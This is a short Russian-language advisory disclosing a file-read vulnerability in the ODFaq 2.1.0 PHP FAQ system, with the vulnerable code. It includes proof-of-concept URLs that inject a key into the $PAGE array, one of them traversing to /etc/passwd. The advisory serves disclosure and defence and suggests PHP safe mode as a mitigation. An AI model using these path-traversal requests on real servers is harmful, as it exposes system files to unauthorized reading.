Программа: ODFaq 2.1.0 (http://www.oodie.com/project/odfaq/)
Описание: в интерактивной системе ODFaq 2.1.0 существует возможность
обхода ограничения на чтение файлов с сервера.
В файле config.inc.php в ассоциативном массиве $PAGE прописаны все
страницы, доступные для выполнения через параметр P в index.php. При
попытке открытия той или иной страницы вида
http://server/odfaq-2.1.0/index.php?p=page
в файле includes/parse.inc.php проверяется наличие ключа данной
страницы в массиве $PAGE:
if(isset($_GET['p']) && trim($_GET['p']) != '' && array_key_exists($_GET['p'], $PAGE)) {
$ODGet['p'] = $_GET['p'];
$ODPage = $SETTING['install_path'].'/'.$DIR['includes'].'/'.$PAGE[$_GET['p']];
}
Однако существует возможность сделать особо сформированный запрос,
который будет добавлять в массив $PAGE произвольный ключ и таким
образом открывать доступ к произвольному файлу (относительно
директории includes):
http://server/odfaq-2.1.0/index.php?p=page&PAGE[page]=../style.css
http://server/odfaq-2.1.0/index.php?p=page&PAGE[page]=../../../../../../etc/passwd
Помочь решить проблему может SAFE MODE в PHP.
4пальца ([email protected])